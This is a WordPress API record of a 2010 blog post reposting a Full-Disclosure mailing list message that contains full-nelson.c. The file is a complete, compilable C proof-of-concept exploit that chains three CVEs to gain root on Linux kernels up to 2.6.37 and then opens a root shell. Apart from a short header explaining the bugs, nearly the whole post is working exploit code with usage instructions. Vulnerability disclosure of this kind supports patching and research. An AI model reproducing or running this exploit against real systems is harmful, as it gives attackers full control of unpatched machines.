{"id":1941,"date":"2010-12-10T20:38:58","date_gmt":"2010-12-10T20:38:58","guid":{"rendered":"http:\/\/www.icocean.com\/blog\/?p=1941"},"modified":"1970-01-01T07:00:00","modified_gmt":"1970-01-01T07:00:00","slug":"linuxkernelexploit","status":"publish","type":"post","link":"https:\/\/www.icocean.com\/blog\/?p=1941","title":{"rendered":"Linux kernel exploit"},"content":{"rendered":"<p>From: Dan Rosenberg <dan.j.rosenberg () gmail com><br \/>Date: Tue, 07 Dec 2010 15:25:36 -0500<\/p>\n<p>Hi all,<\/p>\n<p>I&#39;ve included here a proof-of-concept local privilege escalation exploit<br \/>for Linux.&nbsp;&nbsp;Please read the header for an explanation of what&#39;s going<br \/>on.&nbsp;&nbsp;Without further ado, I present full-nelson.c:<\/p>\n<p>Happy hacking,<br \/>Dan<\/p>\n<p>&#8211;snip&#8211;<!--more--><\/p>\n<p><coolcode>\/*<br \/> * Linux Kernel <= 2.6.37 local privilege escalation<br \/> * by Dan Rosenberg<br \/> * @djrbliss on twitter<br \/> *<br \/> * Usage:<br \/> * gcc full-nelson.c -o full-nelson<br \/> * .\/full-nelson<br \/> *<br \/> * This exploit leverages three vulnerabilities to get root, all of which were<br \/> * discovered by Nelson Elhage:<br \/> *<br \/> * CVE-2010-4258<br \/> * &#8212;&#8212;&#8212;&#8212;-<br \/> * This is the interesting one, and the reason I wrote this exploit.  If a<br \/> * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL<br \/> * word will be written to a user-specified pointer when that thread exits.<br \/> * This write is done using put_user(), which ensures the provided destination<br \/> * resides in valid userspace by invoking access_ok().  However, Nelson<br \/> * discovered that when the kernel performs an address limit override via<br \/> * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,<br \/> * etc.), this override is not reverted before calling put_user() in the exit<br \/> * path, allowing a user to write a NULL word to an arbitrary kernel address.<br \/> * Note that this issue requires an additional vulnerability to trigger.<br \/> *<br \/> * CVE-2010-3849<br \/> * &#8212;&#8212;&#8212;&#8212;-<br \/> * This is a NULL pointer dereference in the Econet protocol.  By itself, it&#039;s<br \/> * fairly benign as a local denial-of-service.  It&#039;s a perfect candidate to<br \/> * trigger the above issue, since it&#039;s reachable via sock_no_sendpage(), which<br \/> * subsequently calls sendmsg under KERNEL_DS.<br \/> *<br \/> * CVE-2010-3850<br \/> * &#8212;&#8212;&#8212;&#8212;-<br \/> * I wouldn&#039;t be able to reach the NULL pointer dereference and trigger the<br \/> * OOPS if users weren&#039;t able to assign Econet addresses to arbitrary<br \/> * interfaces due to a missing capabilities check.<br \/> *<br \/> * In the interest of public safety, this exploit was specifically designed to<br \/> * be limited:<br \/> *<br \/> *  * The particular symbols I resolve are not exported on Slackware or Debian<br \/> *  * Red Hat does not support Econet by default<br \/> *  * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and<br \/> *    Debian<br \/> *<br \/> * However, the important issue, CVE-2010-4258, affects everyone, and it would<br \/> * be trivial to find an unpatched DoS under KERNEL_DS and write a slightly<br \/> * more sophisticated version of this that doesn&#039;t have the roadblocks I put in<br \/> * to prevent abuse by script kiddies.<br \/> *<br \/> * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.<br \/> *<br \/> * NOTE: the exploit process will deadlock and stay in a zombie state after you<br \/> * exit your root shell because the Econet thread OOPSes while holding the<br \/> * Econet mutex.  It wouldn&#039;t be too hard to fix this up, but I didn&#039;t bother.<br \/> *<br \/> * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla<br \/> *\/<\/p>\n<p>#include <stdio.h><br \/>#include <sys\/socket.h><br \/>#include <fcntl.h><br \/>#include <sys\/ioctl.h><br \/>#include <string.h><br \/>#include <net\/if.h><br \/>#include <sched.h><br \/>#include <stdlib.h><br \/>#include <signal.h><br \/>#include <sys\/utsname.h><br \/>#include <sys\/mman.h><br \/>#include <unistd.h><\/p>\n<p>\/* How many bytes should we clear in our<br \/> * function pointer to put it into userspace? *\/<br \/>#ifdef __x86_64__<br \/>#define SHIFT 24<br \/>#define OFFSET 3<br \/>#else<br \/>#define SHIFT 8<br \/>#define OFFSET 1<br \/>#endif<\/p>\n<p>\/* thanks spender&#8230; *\/<br \/>unsigned long get_kernel_sym(char *name)<br \/>{<br \/>        FILE *f;<br \/>        unsigned long addr;<br \/>        char dummy;<br \/>        char sname&#91;512&#93;;<br \/>        struct utsname ver;<br \/>        int ret;<br \/>        int rep = 0;<br \/>        int oldstyle = 0;<\/p>\n<p>        f = fopen(&#8220;\/proc\/kallsyms&#8221;, &#8220;r&#8221;);<br \/>        if (f == NULL) {<br \/>                f = fopen(&#8220;\/proc\/ksyms&#8221;, &#8220;r&#8221;);<br \/>                if (f == NULL)<br \/>                        goto fallback;<br \/>                oldstyle = 1;<br \/>        }<\/p>\n<p>repeat:<br \/>        ret = 0;<br \/>        while(ret != EOF) {<br \/>                if (!oldstyle)<br \/>                        ret = fscanf(f, &#8220;%p %c %s&#92;n&#8221;, (void **)&#038;addr, &#038;dummy, sname);<br \/>                else {<br \/>                        ret = fscanf(f, &#8220;%p %s&#92;n&#8221;, (void **)&#038;addr, sname);<br \/>                        if (ret == 2) {<br \/>                                char *p;<br \/>                                if (strstr(sname, &#8220;_O\/&#8221;) &#124;&#124; strstr(sname, &#8220;_S.&#8221;))<br \/>                                        continue;<br \/>                                p = strrchr(sname, &#039;_&#039;);<br \/>                                if (p > ((char *)sname + 5) &#038;&#038; !strncmp(p &#8211; 3, &#8220;smp&#8221;, 3)) {<br \/>                                        p = p &#8211; 4;<br \/>                                        while (p > (char *)sname &#038;&#038; *(p &#8211; 1) == &#039;_&#039;)<br \/>                                                p&#8211;;<br \/>                                        *p = &#039;&#92;0&#039;;<br \/>                                }<br \/>                        }<br \/>                }<br \/>                if (ret == 0) {<br \/>                        fscanf(f, &#8220;%s&#92;n&#8221;, sname);<br \/>                        continue;<br \/>                }<br \/>                if (!strcmp(name, sname)) {<br \/>                        fprintf(stdout, &#8221; &#91;+&#93; Resolved %s to %p%s&#92;n&#8221;, name, (void *)addr, rep ? &#8221; (via System.map)&#8221; : <br \/>&#8220;&#8221;);<br \/>                        fclose(f);<br \/>                        return addr;<br \/>                }<br \/>        }<\/p>\n<p>        fclose(f);<br \/>        if (rep)<br \/>                return 0;<br \/>fallback:<br \/>        uname(&#038;ver);<br \/>        if (strncmp(ver.release, &#8220;2.6&#8221;, 3))<br \/>                oldstyle = 1;<br \/>        sprintf(sname, &#8220;\/boot\/System.map-%s&#8221;, ver.release);<br \/>        f = fopen(sname, &#8220;r&#8221;);<br \/>        if (f == NULL)<br \/>                return 0;<br \/>        rep = 1;<br \/>        goto repeat;<br \/>}<\/p>\n<p>typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);<br \/>typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);<br \/>_commit_creds commit_creds;<br \/>_prepare_kernel_cred prepare_kernel_cred;<\/p>\n<p>static int __attribute__((regparm(3)))<br \/>getroot(void * file, void * vma)<br \/>{<\/p>\n<p>        commit_creds(prepare_kernel_cred(0));<br \/>        return -1;<\/p>\n<p>}<\/p>\n<p>\/* Why do I do this?  Because on x86-64, the address of<br \/> * commit_creds and prepare_kernel_cred are loaded relative<br \/> * to rip, which means I can&#039;t just copy the above payload<br \/> * into my landing area. *\/<br \/>void __attribute__((regparm(3)))<br \/>trampoline()<br \/>{<\/p>\n<p>#ifdef __x86_64__<br \/>        asm(&#8220;mov $getroot, %rax; call *%rax;&#8221;);<br \/>#else<br \/>        asm(&#8220;mov $getroot, %eax; call *%eax;&#8221;);<br \/>#endif<\/p>\n<p>}<\/p>\n<p>\/* Triggers a NULL pointer dereference in econet_sendmsg<br \/> * via sock_no_sendpage, so it&#039;s under KERNEL_DS *\/<br \/>int trigger(int * fildes)<br \/>{<br \/>        int ret;<br \/>        struct ifreq ifr;<\/p>\n<p>        memset(&#038;ifr, 0, sizeof(ifr));<br \/>        strncpy(ifr.ifr_name, &#8220;eth0&#8221;, IFNAMSIZ);<\/p>\n<p>        ret = ioctl(fildes&#91;2&#93;, SIOCSIFADDR, &#038;ifr);<\/p>\n<p>        if(ret < 0) {<br \/>                printf(&#8220;&#91;*&#93; Failed to set Econet address.&#92;n&#8221;);<br \/>                return -1;<br \/>        }<\/p>\n<p>        splice(fildes&#91;3&#93;, NULL, fildes&#91;1&#93;, NULL, 128, 0);<br \/>        splice(fildes&#91;0&#93;, NULL, fildes&#91;2&#93;, NULL, 128, 0);<\/p>\n<p>        \/* Shouldn&#039;t get here&#8230; *\/<br \/>        exit(0);<br \/>}<\/p>\n<p>int main(int argc, char * argv&#91;&#93;)<br \/>{<br \/>        unsigned long econet_ops, econet_ioctl, target, landing;<br \/>        int fildes&#91;4&#93;, pid;<br \/>        void * newstack, * payload;<\/p>\n<p>        \/* Create file descriptors now so there are two<br \/>           references to them after cloning&#8230;otherwise<br \/>           the child will never return because it<br \/>           deadlocks when trying to unlock various<br \/>           mutexes after OOPSing *\/<br \/>        pipe(fildes);<br \/>        fildes&#91;2&#93; = socket(PF_ECONET, SOCK_DGRAM, 0);<br \/>        fildes&#91;3&#93; = open(&#8220;\/dev\/zero&#8221;, O_RDONLY);<\/p>\n<p>        if(fildes&#91;0&#93; < 0 &#124;&#124; fildes&#91;1&#93; < 0 &#124;&#124; fildes&#91;2&#93; < 0 &#124;&#124; fildes&#91;3&#93; < 0) {<br \/>                printf(&#8220;&#91;*&#93; Failed to open file descriptors.&#92;n&#8221;);<br \/>                return -1;<br \/>        }<\/p>\n<p>        \/* Resolve addresses of relevant symbols *\/<br \/>        printf(&#8220;&#91;*&#93; Resolving kernel addresses&#8230;&#92;n&#8221;);<br \/>        econet_ioctl = get_kernel_sym(&#8220;econet_ioctl&#8221;);<br \/>        econet_ops = get_kernel_sym(&#8220;econet_ops&#8221;);<br \/>        commit_creds = (_commit_creds) get_kernel_sym(&#8220;commit_creds&#8221;);<br \/>        prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym(&#8220;prepare_kernel_cred&#8221;);<\/p>\n<p>        if(!econet_ioctl &#124;&#124; !commit_creds &#124;&#124; !prepare_kernel_cred &#124;&#124; !econet_ops) {<br \/>                printf(&#8220;&#91;*&#93; Failed to resolve kernel symbols.&#92;n&#8221;);<br \/>                return -1;<br \/>        }<\/p>\n<p>        if(!(newstack = malloc(65536))) {<br \/>                printf(&#8220;&#91;*&#93; Failed to allocate memory.&#92;n&#8221;);<br \/>                return -1;<br \/>        }<\/p>\n<p>        printf(&#8220;&#91;*&#93; Calculating target&#8230;&#92;n&#8221;);<br \/>        target = econet_ops + 10 * sizeof(void *) &#8211; OFFSET;<\/p>\n<p>        \/* Clear the higher bits *\/<br \/>        landing = econet_ioctl << SHIFT >> SHIFT;<\/p>\n<p>        payload = mmap((void *)(landing &#038; ~0xfff), 2 * 4096,<br \/>                       PROT_READ &#124; PROT_WRITE &#124; PROT_EXEC,<br \/>                       MAP_PRIVATE &#124; MAP_ANONYMOUS &#124; MAP_FIXED, 0, 0);<\/p>\n<p>        if ((long)payload == -1) {<br \/>                printf(&#8220;&#91;*&#93; Failed to mmap() at target address.&#92;n&#8221;);<br \/>                return -1;<br \/>        }<\/p>\n<p>        memcpy((void *)landing, &#038;trampoline, 1024);<\/p>\n<p>        clone((int (*)(void *))trigger,<br \/>              (void *)((unsigned long)newstack + 65536),<br \/>              CLONE_VM &#124; CLONE_CHILD_CLEARTID &#124; SIGCHLD,<br \/>              &#038;fildes, NULL, NULL, target);<\/p>\n<p>        sleep(1);<\/p>\n<p>        printf(&#8220;&#91;*&#93; Triggering payload&#8230;&#92;n&#8221;);<br \/>        ioctl(fildes&#91;2&#93;, 0, NULL);<\/p>\n<p>        if(getuid()) {<br \/>                printf(&#8220;&#91;*&#93; Exploit failed to get root.&#92;n&#8221;);<br \/>                return -1;<br \/>        }<\/p>\n<p>        printf(&#8220;&#91;*&#93; Got root!&#92;n&#8221;);<br \/>        execl(&#8220;\/bin\/sh&#8221;, &#8220;\/bin\/sh&#8221;, NULL);<br \/>}<\/coolcode><\/p>\n<p>_______________________________________________<br \/>Full-Disclosure &#8211; We believe in it.<br \/>Charter: http:\/\/lists.grok.org.uk\/full-disclosure-charter.html<br \/>Hosted and sponsored by Secunia &#8211; http:\/\/secunia.com\/<\/p>\n","protected":false},"excerpt":{"rendered":"<p>From: Dan Rosenberg Date: Tue, 07 Dec 2010 15:25:36 -05 <a href='https:\/\/www.icocean.com\/blog\/?p=1941' class='excerpt-more'>[&#8230;]<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[16],"tags":[3115,3114,434,3116,604],"class_list":["post-1941","post","type-post","status-publish","format-standard","hentry","category-linuxunix","tag-expoit","tag-kernel","tag-linux","tag-privilege","tag-root","category-16-id","post-seq-1","post-parity-odd","meta-position-corners","fix"],"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/www.icocean.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/1941","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.icocean.com\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.icocean.com\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.icocean.com\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.icocean.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1941"}],"version-history":[{"count":0,"href":"https:\/\/www.icocean.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/1941\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.icocean.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1941"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.icocean.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1941"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.icocean.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1941"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}